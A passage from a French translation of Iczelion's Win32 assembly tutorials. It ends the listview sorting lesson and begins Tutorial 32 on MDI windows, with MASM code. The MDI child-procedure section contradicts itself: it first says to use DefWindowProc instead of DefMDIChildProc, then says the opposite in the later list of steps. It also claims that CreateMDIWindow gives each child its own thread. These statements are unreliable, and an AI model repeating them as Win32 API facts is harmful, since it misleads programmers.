On place, dans la deuxième colonne, le sous-item associé à l'item qu'on vient juste d'insérer. Un sous-item peut seulement posséder un label (un titre). Donc on met LVIF_TEXT dans imask. Ensuite dans iSubItem, on indique la colonne dans laquelle le sous-item doit se trouver. Dans notre cas, nous met iSubItem à 1 en l'incrémentant. Le label que nous utiliserons représentera 'la taille du fichier'. Cependant, nous devons d'abord le convertir en une chaîne de caractères en appelant wsprintf. C'est pourquoi nous mettons l'adresse de la chaîne de caractères dans pszText .

  invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
  assume edi:nothing
  ret
ShowFileInfo endp

Quand tous les paramètres nécessaires à LV_item sont remplis, nous envoyons le message LVM_SETITEM à notre listview control, en lui passant l'adresse de la structure LV_ITEM. Remarquez que nous utilisons LVM_SETITEM, et non pas LVM_INSERTITEM parce qu'un sous-item est considéré comme étant une propriété de l'item. Donc rappelez vous de ça, c'est important, on *pose* (set) la propriété de l'item, mais on n'insère pas un nouvel item.

Lorsque tous les Items sont insérés dans le listview control, on défini le type de texte et les couleurs de fond de notre listview control.

    RGB 255,255,255
    invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax

J'emploie la macro RGB pour convertir les valeurs rouge, verte, est bleue dans eax et les employer pour définir la couleur réelle que je souhaite obtenir. On défini les couleurs de premier plan et d'arrière plan du texte avec les messages LVM_SETTEXTCOLOR et LVM_SETTEXTBKCOLOR. On défini la couleur de fond de notre listview control en lui envoyant le message LVM_SETBKCOLOR.

    invoke GetMenu,hWnd
    mov hMenu,eax
    invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED

On laisse l'utilisateur choisit ses vues grâce au menu. Donc on doit d'abord récupérer l'handle du menu. Pour aider l'utilisateur à retrouver la vue actuelle, on incorpore un système de bouton radio dans notre menu. L'item du menu qui est associé à la vue actuelle sera ainsi précédé d'un bouton tout rond. Pour faire ça, on doit appeler CheckMenuRadioItem. Cette fonction affichera un bouton radio juste devant l'item voulu dans votre menu.

Remarquez qu'on crée un listview control d'une largeur et d'une hauteur égales à 0. Elle sera redimensionnée plus tard à chaque fois que la fenêtre parente sera elle-même redimensionnée. De cette façon, on peut être sûr que la taille de notre listview control correspondra toujours à celle de la fenêtre parente. Dans notre exemple, on souhaite que le listview control remplisse la totalité du secteur de client de la fenêtre parente.

  .elseif uMsg==WM_SIZE
    mov eax,lParam
    mov edx,eax
    and eax,0ffffh
    shr edx,16
    invoke MoveWindow,hList, 0, 0, eax,edx,TRUE

Quand la fenêtre parente reçoit le message WM_SIZE, le mot de poids faible de lParam contient la nouvelle largeur du secteur client et le mot de poids fort la nouvelle hauteur. Ensuite on appelle MoveWindow pour redimensionner le listview control pour qu'il recouvre le secteur client de la fenêtre parente, en entier.

Lorsque l'utilisateur sélectionne une des vue dans le menu. On doit faire en sorte de changer la vue du listview control en conséquence. On fait ça en mettant un nouveau style dans le listview control avec SetWindowLong.

  .elseif uMsg==WM_COMMAND
    .if lParam==0
      invoke GetWindowLong,hList,GWL_STYLE
      and eax,not LVS_TYPEMASK

La première chose à faire, c'est obtenir les styles actuels du listview control. Donc on purifie le vieux type de vue renvoyé dans les flags. LVS_TYPEMASK est une constante qui représente la valeur combinée des 4 types de vue (LVS_ICON+LVS_SMALLICON+LVS_LIST+LVS_REPORT). Ainsi quand on exécute l'opération and sur les types actuels de flags avec la valeur "not LVS_TYPEMASK", ça équivaut à nettoyer le type de vue actuel.

Dans la conception du menu, je triche un peu. J'emploie le type de vue des constantes en tant qu'IDs du menu.

IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

Ainsi quand la fenêtre parente reçoit le message WM_COMMAND, le type de vue voulu est dans le mot de poids faible de wParam pour représenter l'ID du menu.

      mov edx,wParam
      and edx,0FFFFh

On retrouvera le type de vue souhaité dans le mot de poids faible de wParam. Tout ce que nous devons faire c'est de mettre le mot de poids fort à 0 (je parle de wParam).

      push edx
      or eax,edx

Et ajoutez le type de vue désiré aux styles déjà existants (moins le style de vue actuel) du listview control.

      invoke SetWindowLong,hList,GWL_STYLE,eax

Et mettez les nouveaux types avec SetWindowLong.

      pop edx
      invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
   .endif

Nous avons aussi besoin de mettre le bouton radio devant l'item choisi dans notre menu. Ainsi on appelle CheckMenuRadioItem, en lui passant le type de vue actuel (en double, en tant qu'ID du menu).

Lorsque l'utilisateur clique sur l'en-tête de la colonne dans la vue 'détails', on fait en sorte de déclencher le comportement de triage des Items dans notre listview control. Nous devons répondre au message WM_NOTIFY.

  .elseif uMsg==WM_NOTIFY
    push edi
    mov edi,lParam
    assume edi:ptr NMHDR
    mov eax,[edi].hwndFrom
    .if eax==hList

Quand on reçoit le message WM_NOTIFY, lParam contient le pointer qui est sur la structure NMHDR. On peut vérifier si ce message provient de notre listview control en comparant le membre hwndFrom dans NMHDR à l'handle de notre listview control. S'ils correspondent, alors on est sûr que cet avis provient bien de notre listview control.

      .if [edi].code==LVN_COLUMNCLICK
        assume edi:ptr NM_LISTVIEW

S'il provient bien du listview control, on vérifie si le code est LVN_COLUMNCLICK. Et si c'est ça, ça signifie que l'utilisateur a cliqué sur l'en-tête de la colonne. Dans le cas où le code serait LVN_COLUMNCLICK, on est sûr que lParam contient le pointer qui est sur la structure NM_LISTVIEW laquelle est un 'superset' de la structure NMHDR. On aura alors besoin de savoir sur lequel des en-tête de colonne, l'utilisateur à cliqué. L'examen du membre iSubItem nous révèle ces renseignements. La valeur dans iSubItem peut être considérée comme le numéro de colonne, en commençant par 0 pour la première colonne.

        .if [edi].iSubItem==1
          .if SizeSortOrder==0 || SizeSortOrder==2

Dans le cas où iSubItem est égal à 1, ça signifie que l'utilisateur à cliqué sur la deuxième colonne, (la taille). On utilise des variables d'état pour récupérer le statut actuel de l'ordre de triage. 0 signifie "Pas encore trié", 1 signifie qu'"on tri l'item en le faisant monté d'une place dans la hiérarchie", 2 signifie qu'"on tri l'item en le faisant descendre dans la hiérarchie" des items. Si les Items ou sous-items de la colonne n'ont pas été trié auparavant, ou on été trié en ayant perdu des places, on impose un tri pour les remonter.

            invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc

On envoie le message LVM_SORTITEMS à notre listview control, en lui passant 1 dans wParam et l'adresse de notre fonction de tri dans lParam. Remarquez que la valeur dans wParam est définie par l'utilisateur, vous pouvez l'employer de la façon que vous le souhaitez. Je l'emploie en tant que méthode de triage dans cet exemple. Bon, on va d'abord jeter un coup d'oeil à la fonction de tri.

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
  LOCAL buffer[256]:BYTE
  LOCAL buffer1[256]:BYTE
  LOCAL lvi:LV_ITEM

  mov lvi.imask,LVIF_TEXT
  lea eax,buffer
  mov lvi.pszText,eax
  mov lvi.cchTextMax,256

Dans la fonction de tri, le listview control passera les lParams (provenant de LV_item) de deux Items dont il a besoin de comparer pour les triés l'un par rapport à l'autre, soit lParam1 et lParam2. Vous vous rappellerez qu'on a mis l'index des l'items dans lParam. Ainsi on peut récupérer l'information des Items en interrogeant le listview control en employant ces index. Les renseignements dont nous avons besoin sont les labels (leurs noms) des Items / sous-items étant triés. Ainsi on prépare la structure LV_ITEM dans ce but, en déclarant LVIF_TEXT dans imask et l'adresse du buffer dans pszText et la taille du buffer dans cchTextMax.

  .if SortType==1
    mov lvi.iSubItem,1
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi

Si la valeur dans SortType est 1 ou 2, on sait que la colonne (de taille) a été cliquée. 1 signifie que les Items ont été triés selon leurs tailles dans un ordre montant. 2 signifie le contraire. Ainsi, on impose iSubItem à 1 (pour spécifier la colonne de taille) et on envoie le message LVM_GETITEMTEXT à notre listview control pour obtenir le label (le nom) de la chaîne de caractères (de taille) du sous-item.

    invoke String2Dword,addr buffer
    mov edi,eax

On cache plus ou moins la taille de la chaîne de caractères dans une valeur Dword avec la fonction String2Dword que j'ai écrite. Elle renvoie cette valeur Dword dans eax. Et en plus on la stocke dans edi pour la trier par la suite.

    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke String2Dword,addr buffer
    sub edi,eax
    mov eax,edi

Faites de même avec la valeur dans lParam2. Quand nous avons les tailles des deux fichiers, nous pouvons alors les comparer.
La règle de la fonction de tri est définie ainsi :

  • Si le premier item doit être placé avant l'autre, vous devez renvoyer une valeur négative dans eax
  • Si le premier item doit être placé après le second, vous devez renvoyer une valeur positive dans eax
  • Si les deux Items sont égaux, on renvoie un zéro dans eax.

Dans ce cas, on souhaite trier les Items selon leurs critères de tailles par ordre croissant. Donc on peut utiliser la ruse d'une simple soustraction des tailles des deux items et renvoyer le résultat dans eax.

  .elseif SortType==3
    mov lvi.iSubItem,0
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke lstrcpy,addr buffer1,addr buffer
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke lstrcmpi,addr buffer1,addr buffer

Dans le cas où l'utilisateur clique sur la colonne 'de nom de fichier', nous devons forcément comparer les noms des fichiers. Il nous faut d'abord récupérer les noms de fichier et on les compare ensuite avec la fonction 'lstrcmpi'. On peut renvoyé la valeur de retour de lstrcmpi sans aucune modification puisqu'elle emploie aussi la même règle de tri. C'est à dire qu'on aura une valeur négative dans eax si la première chaîne de caractères est moindre (B<A...) que la deuxième.

Une fois que les Items ont été triés, nous avons besoin de remettre à jour les valeurs de lParam de chaques Items pour refléter les nouveaux index en appelant la fonction UpdatelParam.

            invoke UpdatelParam
            mov SizeSortOrder,1

Cette fonction énumère simplement tout les Items du listview control et met à jour les valeurs dans lParam avec les nouveaux index. On doit absolument faire ça sinon le tri suivant ne marchera pas comme attendu, parce qu'on suppose que la valeur dans lParam est l'index de l'item.

      .elseif [edi].code==NM_DBLCLK
        invoke ShowCurrentFocus
      .endif

Quand l'utilisateur double clique sur l'item, on souhaite que son nom s'affiche dans une boîte de message. On doit donc vérifier si le code dans NMHDR est NM_DBLCLK. Si c'est ça, on peut continuer pour récupérer son nom et le montrer dans la MessageBox.

ShowCurrentFocus proc
   LOCAL lvi:LV_ITEM
   LOCAL buffer[256]:BYTE

   invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED

Comment savons-nous quel item vient d'être double cliqué ? Et bien, lorsque un item est cliqué ou double cliqué, son état est remis à "jour". Même si beaucoup d'Items sont (hilited) sélectionnés avec un encadré pointillé, uniquement un d'entre eux a le centre (est réellement sélectionné). Notre travail, c'est de retrouver l'item qui a le centre. Nous faisons ça en envoyant le message LVM_GETNEXTITEM à notre listview control, en spécifiant l'état désiré dans lParam. -1 dans wParam signifie qu'on recherche tous les Items. L'index de l'item est renvoyé dans eax.

   mov lvi.iItem,eax
   mov lvi.iSubItem,0
   mov lvi.imask,LVIF_TEXT
   lea eax,buffer
   mov lvi.pszText,eax
   mov lvi.cchTextMax,256
   invoke SendMessage,hList,LVM_GETITEM,0,addr lvi

On continue alors pour récupérer son titre (son nom) en envoyant le message LVM_GETITEM au listview control.

   invoke MessageBox,0, addr buffer,addr AppName,MB_OK

Finalement, nous affichons le nom du fichier dans une MessageBox.

Si vous souhaitez savoir comment utiliser des icônes dans votre listview control, vous pouvez lire ça dans mon tutorial sur le treeview (Tutorial 19). Les étapes sont à peu près les mêmes.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 32: Multiple Document Interface (MDI)

Tutorial 32: L'Interface : Documents Multiples
Multiple Document Interface (MDI)

Ce tutorial vous montre comment créer une application MDI. Ce n'est pas trop compliqué en réalité. Downloadez l'exemple.

Théorie:

Le "Multiple Document Interface" (MDI) est une spécification des applications servant à manipuler plusieurs documents en même temps. Je suis sûr que le Bloc-notes vous est familier : c'est un exemple d'Interface de Document Simple (SDI). Le bloc-notes ne peut manipuler qu'un seul document à la fois. Si vous voulez ouvrir un autre document, vous devez d'abord fermer le précédent. Comme vous pouvez l'imaginer, c'est assez contraignant. Contrastez-le avec Microsoft Word : Word peut ouvrir plusieurs documents en même temps et laisser l'utilisateur choisir lequel employer. Microsoft Word est un exemple de Multiple Document Interface (MDI).

Une application MDI présente plusieurs caractéristiques qui lui sont propres. J'inscrirai quelques-unes d'entre elles :

  • Dans la fenêtre principale, il y peut avoir plusieurs fenêtres enfants sur le secteur client. Toutes les fenêtres enfants sont rattachées au secteur client.
  • Quand vous réduisez au minimum une fenêtre enfant, elle s'icônise et se place dans le coin inférieur gauche du secteur client de la fenêtre principale.
  • Quand vous maximisez la fenêtre enfant, son titre fusionne avec celui de la fenêtre principale.
  • Vous pouvez fermer une fenêtre enfant en appuyant sur Ctrl+F4 et vous pouvez déplacer le Focus entre les fenêtres enfant en appuyant sur Ctrl+Tab

La fenêtre principale qui contient les fenêtres enfant est appelée la fenêtre d'encadrement. Les fenêtres d'enfant sont déplosées sur son secteur client, de là son nom de "Frame" (Encadrement). Son travail est un peu plus complexe que celui d'une fenêtre habituelle parce qu'elle a besoin de coordonner certaines actions pour contôler le MDI.

Pour contrôler un nombre quelconque de fenêtres enfant dans votre secteur client, vous avez besoin d'une fenêtre spéciale appelée la fenêtre client. Vous pouvez imaginer cette fenêtre client comme étant une fenêtre transparente qui recouvre totalement le secteur client de la fenêtre d'encadrement. C'est cette fenêtre client qui est le véritable parent des fenêtres enfant du MDI. La fenêtre client est le vrai surveillant des fenêtres enfant du MDI.

Fenêtre d'Encadrement
|
Fenêtre Client
|
|
|
|
|
|
MDI Enfant 1
MDI Enfant 2
MDI Enfant 3
MDI Enfant 4
MDI Enfant 5

Figure 1. Hiérachie d'une application MDI

Création de la fenêtre d'encadrement :

Maintenant nous pouvons concentrer notre attention sur les détails. Tout d'abord vous avez besoin de créer une fenêtre d'encadrement. Sa création la même que pour une fenêtre normale : en appelant CreateWindowEx. Il y a deux différences majeures avec une fenêtre normale.

La première différence est que vous DEVEZ appeler DefFrameProc au lieu deDefWindowProc pour traiter les messages de Fenêtresque votre fenêtre ne souhaite pas utiliser. C'est une manière de laisser Windows faire le sale boulot à votre place en ce qui concerne les applications MDI. Si vous oubliez d'employer DefFrameProc, votre programme n'obtiendra pas la spécificité MDI. DefFrameProc a la syntaxe suivante :

DefFrameProc proc hwndFrame:DWORD,
                                   hwndClient:DWORD,
                                   uMsg:DWORD,
                                   wParam:DWORD,
                                   lParam:DWORD

Si vous comparez DefFrameProc et DefWindowProc, vous remarquerez que la seule différence entre les deux c'est que DefFrameProc a 5 paramètres alors que DefWindowProc n'en a que 4. Le paramètre supplémentaire est l'handle de la 'fenêtre client'. Cet handle est nécessaire pour que Windows puisse envoyer des messages MDI-liés à la fenêtre client.

La deuxième différence c'est que, vous devez appeler TranslateMDISysAccel dans la boucle des message de votre fenêtre d'encadrement. C'est nécessaire si vous voulez que Windows reconnaisse les touches spéciales relatives au MDI tel que Ctrl+F4, Ctrl+Tab. Sa syntaxe est la suivante :

TranslateMDISysAccel proc hwndClient:DWORD,
                                                 lpMsg:DWORD

Le premier paramètre est l'handle de la fenêtre client. Ce n'est pas être une surprise puisque c'est la fenêtre client qui est le parent de toutes les autres fenêtres enfant du MDI. Le deuxième paramètre est l'adresse de la structure MSG que vous devez remplir en appelant GetMessage. L'idée c'est de passer la structure MSG à la fenêtre client, ainsi on pourra examiner si la structure MSG contient un message sur une touche pressée relative au MDI. Si c'est le cas on traite le message lui-même et on retourne une valeur non-nulle, Sinon on retourne FALSE.

Les étapes de création de la fenêtre d'encadrement peuvent être récapitulés comme suit :

  1. Remplissez la structure WNDCLASSEX comme d'habitude
  2. Enregistrez la Window Class d'Encadrement en appelant RegisterClassEx
  3. Créez la fenêtre d'encadrement en appelant CreateWindowEx
  4. Dans la boucle des messages, appelez TranslateMDISysAccel.
  5. Dans la procédure de fenêtre, passez les messages non traités à DefFrameProc au lieu de DefWindowProc.

Cr&ation de la Fenêtre Client :

Maintenant que nous avons la fenêtre d'encadrement, nous pouvons créer la fenêtre client. La Class de la fenêtre client est pré-enregistrée par Windows. Le nom de class est "MDICLIENT". Vous avez aussi besoin de passer l'adresse d'une structure CLIENTCREATESTRUCT à la fonction CreateWindowEx. Cette structure est définie comme suit :

CLIENTCREATESTRUCT struct
        hWindowMenu    dd ?
        idFirstChild    dd ?
CLIENTCREATESTRUCT ends

hWindowMenu est l'handle du sous-menu que Windows ajoutera à la liste des noms des fenêtres enfant du MDI. Cette particularité exige une petite explication. Si vous avez déjà utilisé auparavant une application MDI tel que Microsoft Word , vous avez remarqué qu'il y a un sous-menu nommé "fenêtre" qu'en l'activant, ça affiche différents items liés à la gestion des fenêtres de fond, de la liste des fenêtres enfant actuellement ouvertes appartenant au MDI . Cette liste est intérieurement gérée par Windows lui-même : vous ne devez rien faire de spécial pour cela. Passez juste l'handle du sous-menu que vous voulez que la liste fasse apparaître dans hWindowMenu et Windws fera le reste de la manipe. Notez que le sous-menu peut être N'IMPORTE QUEL sous-menu, ça n'est pas forcément celui qui est nommé "fenêtre". Le principe c'est que vous devez passer l'handle du sous-menu que vous voulez que la liste de fenêtres affiche. Si vous ne voulez pas de liste, mettez juste un NULL dans hWindowMenu. Pour obtenir l'handle du sous-menu appelez l'API GetSubMenu.

IdFirstChild est le n° ID de la première fenêtre enfant du MDI. Windws incrémente le n°ID pour chaque nouvelle fenêtre enfant du MDI que l'application créée. Par exemple, si vous passez 100 à ce champ, la première fenêtre enfant du MDI aura le n°ID 100, le deuxième aura le n°ID 101 et cetera. Ce n°ID est envoyé à la fenêtre d'encadrement via WM_COMMAND quand on sélectionne une fenêtre enfant du MDI dans la liste de fenêtress. Normalement on passe çe message WM_COMMAND "non-handelé" à la fonction DefFrameProc. J'emploie le mot "non-handelé" parce que le menuitems de la liste de fenêtress n'est pas créé par votre application c'est pourquoi celle-ci ne connaît pas leurs n°ID et ne peut pas les manipuler. C'est un autre aspect particulier de la fenêtre d'encadrement du MDI : si vous avez la liste de fenêtres, vous devez modifier votre section WM_COMMAND un peu comme cela :

.elseif uMsg==WM_COMMAND
      .if lParam==0			; ce message est  généré par un menu
          mov eax,wParam
          .if ax==IDM_CASCADE
                 .....
          .elseif ax==IDM_TILEVERT
                .....
          .else
                invoke DefFrameProc, hwndFrame, hwndClient, uMsg,wParam, lParam
                ret
          .endif

En temps normal, on ignore les messages des cas non-handelés (non traités). Mais dans le cas du MDI, si vous les ignorez, alors quand l'utilisateur cliquera sur le nom d'une fenêtre enfant du MDI de la liste de fenêtres, celle-ci ne deviendra pas active. Vous avez besoin de passer ces messages à DefFrameProc, comme ça ils pouront être traités correctement.

Un avertissement à propos de la valeur de idFirstChild : vous ne devez pas la mettre à 0. Car sinon votre liste de fenêtress ne se comportera pas correctement, c'est-à-dire. la 'check mark' ( le petit v de validation) n'apparaîtra pas devant le nom du premier enfant du MDI bien qu'il soit actif. Choisissez une valeur sûre comme 100 ou supérieur.

Après avoir remplit la structure CLIENTCREATESTRUCT, vous pouvez créer la fenêtre client en appelant CreateWindowEx avec le nom de la Class prédéterminée : "MDICLIENT" et passant l'adresse de la structure CLIENTCREATESTRUCT dans lParam. Vous devez aussi spécifier l'handle de la fenêtre d'encadrement dans le paramètre hWndParent pour que Window puisse attacher les enfants à leur fenêtre d'encadrement parente. Les styles de fenêtre que vous devez employer sont : WS_CHILD, WS_VISIBLE et WS_CLIPCHILDREN. Si vous oubliez WS_VISIBLE, vous ne verrez pas les fenêtres enfant même s'ils ont été créés avec succès.

Les étapes de création de la fenêtre client sont les suivantes :

  1. Recupérez l'handle du sous-menu que vous voulez ajouter à la liste de fenêtress.
  2. Mettez la valeur de l'handle du menu ainsi que la valeur que vous voulez employer en tant que n°ID de la première fenêtre enfant du MDI dans la structure CLIENTCREATESTRUCT
  3. Appelez CreateWindowEx avec la Class nommée "MDICLIENT", en passant dans lParam l'adresse de la structure CLIENTCREATESTRUCT que vous venez de remplir.

Création d'une fenêtre enfant du MDI :

Maintenant vous avez à la fois la fenêtre d'encadrement et la fenêtre client. On est maintenant prêt à créer une fenêtre enfant du MDI. Il y a deux façons de le faire.

  • Vous pouvez envoyer le message WM_MDICREATE à la fenêtre client, en passant l'adresse d'une structure MDICREATESTRUCT dans wParam. C'est ce qu'il y a de plus facile et c'est la méthode habituelle de création d'une fenêtre enfant du MDI.
    .data?
        mdicreate MDICREATESTRUCT <>
        ....
    .code
        .....
        [Remplissez les membres de mdicreate]
        ......
    invoke SendMessage, hwndClient, WM_MDICREATE,addr mdicreate,0

    SendMessage retournera l'handle de la fenêtre enfant nouvellement créée dans le MDI si elle est couronnée de succès. Vous n'avez pas besoin de sauvegarder cet handle, quoique. Vous pouvez l'obtenir par d'autres moyens si vous voulez. MDICREATESTRUCT a la définition suivante.

    • MDICREATESTRUCT STRUCT
    szClass DWORD ?
    szTitle DWORD ?
    hOwner DWORD ?
    x DWORD ?
    y DWORD ?
    lx DWORD ?
    ly DWORD ?
    style DWORD ?
    lParam DWORD ?
    MDICREATESTRUCT ENDS
szClass | L'adresse de la Window Class que vous voulez employer en tant que calibre pour la fenêtre enfant du MDI.
szTitle | L'adresse du texte que vous voulez afficher dans la barre de titre de la fenêtre enfant.
hOwner | Le propre handle de l'application.
x,y,lx,ly | Les coordonnées supérieure gauche et la largeur et hauteur de la fenêtre enfant.
style | Style de fenêtre enfant. Si vous créez la fenêtre client avec MDIS_ALLCHILDSTYLES, vous pouvez employer n'importe quel style de fenêtre.
lParam | Une valeur 32 bits pré-définie. C'est une méthode de partage entre les valeurs des fenêtres du MDI. Si vous n'avez pas besoin de l'employer, mettez-le à NULL
  • Vous pouvez appeler CreateMDIWindow. Cette fonction a la syntaxe suivante :
    CreateMDIWindow proto lpClassName:DWORD
                                               lpWindowName:DWORD
                                               dwStyle:DWORD
                                           x:DWORD
                                               y:DWORD
                                               nWidth:DWORD
                                               nHeight:DWORD
                                               hWndParent:DWORD
                                               hInstance:DWORD
                                               lParam:DWORD

Si vous regardez de plus près ces paramètres, vous constaterez qu'ils sont identiques aux membres de la structure MDICREATESTRUCT, mis à part le membre hWndParent. Pour l'essentiel il y a le même nombre de paramètres que vous pour WM_MDICREATE. Sauf que MDICREATESTRUCT ne possède pas de membre hWndParent parce que de toute façon vous devez passer la structure entière à la fenêtre client correcte avec SendMessage.

À ce point, vous pouvez avoir quelques questions : quelle méthode dois-je employer ? Quelle est la différence entre les deux ? Voici la réponse :

La méthode WM_MDICREATE crée la fenêtre enfant du MDI dans le même Thread (lien) que celui du code appelant. Ca signifie que si l'application n'a qu'un Thread primaire, alors toutes les fenêtres enfant du MDI sont exécutées dans le contexte du Thread primaire. Ce n'est pas une mauvaise chose tant que qu'un ou plusieurs de vos enfants n'exécutent une opération lourde. Ca devient un vrai problème si une fenêtre enfant est occupée par une lourde tâche! Pensez-y, soudainement votre application toute entière semblera être gelée, et ne répondra plus à rien tant que l'opération ne soit finie.

Ce problème est totalement résolut grâce à CreateMDIWindow. CreateMDIWindow crée un nouveau Thread distinct pour chaque fenêtre enfant du MDI. Ainsi si un enfant du MDI est occupé, il ne ralentira pas l'application toute entière.

Quelques détails ont besoin d'être étudier à propos de la procédure de fenêtre enfant du MDI. Comme par exemple le cas de la fenêtre d'encadrement, vous ne devez pas appeler DefMDIChildProce pour traiter les messages non traités. A la place, vous devez utiliser DefWindowProc. Cette fonction a exactement les mêmes paramètres que DefWindowProc.

En plus de WM_MDICREATE, il y a d'autres messages de fenêtres liés au MDI. Je les inscrit ci-dessous :

WM_MDIACTIVATE | Ce message peut être envoyé par l'application à la fenêtre client pour charger la fenêtre client d'activer l'enfant choisi dans le MDI. Quand la fenêtre client reçoit ce message, elle active la fenêtre enfant choisie et envoie WM_MDIACTIVATE à l'enfant pour l'activer. L'utilisation de ce message est double : il peut être employé par l'application pour activer la fenêtre enfant voulue. Et il peut aussi être employé par la fenêtre enfant MDI elle-même comme indicateur pour dire qu'elle est activée/désactivée. Par exemple, si chaque fenêtre enfant du MDI a un menu différent, on peut profiter de cette occasion pour modifier le menu de la fenêtre d'encadrement quand elle est activée/désactivée.
WM_MDICASCADE WM_MDITILE WM_MDIICONARRANGE | Ces messages contrôlent la disposition des fenêtres enfant du MDI. Par exemple, si vous voulez que les fenêtres enfant du MDI s'arrangent en cascade, envoyez WM_MDICASCADE à la fenêtre client.
WM_MDIDESTROY | Envoyez ce message à la fenêtre client pour détruire une fenêtre enfant du MDI. Vous devez employer ce message au lieu d'appeler DestroyWindow parce que si la fenêtre enfant MDI est maxmisée, ce message restorera le titre de la fenêtre d'encadrement. Si vous employez DestroyWindow, le titre de la fenêtre d'encadrement ne sera pas rétabli.
WM_MDIGETACTIVE | Envoyez ce message pour retrouvrer l'handle de la fenêtre enfant actuellement active dans le MDI.
WM_MDIMAXIMIZE WM_MDIRESTORE | Envoyez WM_MDIMAXIMIZE pour maximiser la fenêtre enfant du MDI et WM_MDIRESTORE pour la rétablir à l'état précédent. Employez toujours ces messages pour ce genre d'opérations. Si vous employez ShowWindow avec SW_MAXIMIZE, la fenêtre enfant du MDI sera correctement maximisée mais elle aura un problème quand vous essayez de la remettre à la taille précédente. Cependant, vous pouvez réduire au minimum la fenêtre enfant du MDI avec ShowWindow sans problème.
WM_MDINEXT | Envoyez ce message à la fenêtre client pour activer la précédente ou suivante fenêtre enfant du MDI selon les valeurs contenues dans wParam et lParam.
WM_MDIREFRESHMENU | Envoyez ce message à la fenêtre client pour régénérer le menu de la fenêtre d'encadrement. Notez que vous devez appeler DrawMenuBar pour rafraîchir la barre du menu après l'envoi de ce message.
WM_MDISETMENU | Envoyez ce message à la fenêtre client pour remplacer la totalité du menu de la fenêtre d'encadrement ou juste un sous-menu. Vous devez employer ce message au lieu de SetMenu. Après l'envoi de ce message, vous devez appeler DrawMenuBar pour mettre à jour la barre de menu. Normalement on utilise ce message quand la fenêtre enfant active du MDI a son propre menu et qu'on veut remplacer le menu de la fenêtre d'encadrement pendant que la fenêtre enfant du MDI est active.

Je vais passer en revue les étapes de la création d'une application MDI de nouveau ci-dessous.

  1. Enregistrez les deux Window Class, la Window Class d'encadrement et la Window Class enfant du MDI
  2. Créez la fenêtre d'encadrement avec CreateWindowEx.
  3. Dans la boucle de message, appelez TranslateMDISysAccel pour traiter les touches spécifiquement liées au MDI.
  4. Dans la procédure de fenêtre de la fenêtre d'encadrement, appelez DefFrameProc pour qu'elle s'occupe de TOUS les messages non-traités par votre code.
  5. Créez la fenêtre client en appelant CreateWindowEx en utilisant du nom de la classe de fenêtre prédéterminée, "MDICLIENT", tout en lui passant l'adresse de la structure CLIENTCREATESTRUCTdans lParam. Normalement, vous créerez la fenêtre client dans la section WM_CREATE de la WindpwProc d'encadrement.
  6. Vous pouvez créer une fenêtre enfant du MDI en envoyant WM_MDICREATE à la fenêtre client ou, alternativement, en appelant CreateMDIWindow.
  7. Dans la Window Proc de la fenêtre enfant du MDI, passez tous les messages non traités à la fonction DefMDIChildProc.
  8. Utilisez les messages spécifiques au MDI s'ils existent. Par exemple, employez WM_MDIDESTROY au lieu d'appeler DestroyWindow

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU 	equ 101
IDR_CHILDMENU	equ 102
IDM_EXIT 		equ 40001
IDM_TILEHORZ	equ 40002
IDM_TILEVERT	equ 40003
IDM_CASCADE	equ 40004
IDM_NEW 		equ 40005
IDM_CLOSE	equ 40006

.data
ClassName 	db "MDIASMClass",0
MDIClientName	db "MDICLIENT",0
MDIChildClassName	db "Win32asmMDIChild",0
MDIChildTitle	db "MDI Child",0
AppName		db "Win32asm MDI Demo",0
ClosePromptMessage	db "Are you sure you want to close this window?",0

.data?
hInstance 	dd ?
hMainMenu 	dd ?
hwndClient 	dd ?
hChildMenu 	dd ?
mdicreate		MDICREATESTRUCT <>
hwndFrame 	dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    ;=============================================
    ; Register the frame window class
    ;=============================================
    mov wc.cbSize,SIZEOF WNDCLASSEX
    mov wc.style, CS_HREDRAW or CS_VREDRAW
    mov wc.lpfnWndProc,OFFSET WndProc
    mov wc.cbClsExtra,NULL
    mov wc.cbWndExtra,NULL
    push hInstance
    pop wc.hInstance
    mov wc.hbrBackground,COLOR_APPWORKSPACE
    mov wc.lpszMenuName,IDR_MAINMENU
    mov wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov wc.hIcon,eax
    mov wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    ;================================================
    ; Register the MDI child window class
    ;================================================
    mov wc.lpfnWndProc,offset ChildProc
    mov wc.hbrBackground,COLOR_WINDOW+1
    mov wc.lpszClassName,offset MDIChildClassName
    invoke RegisterClassEx,addr wc
    invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
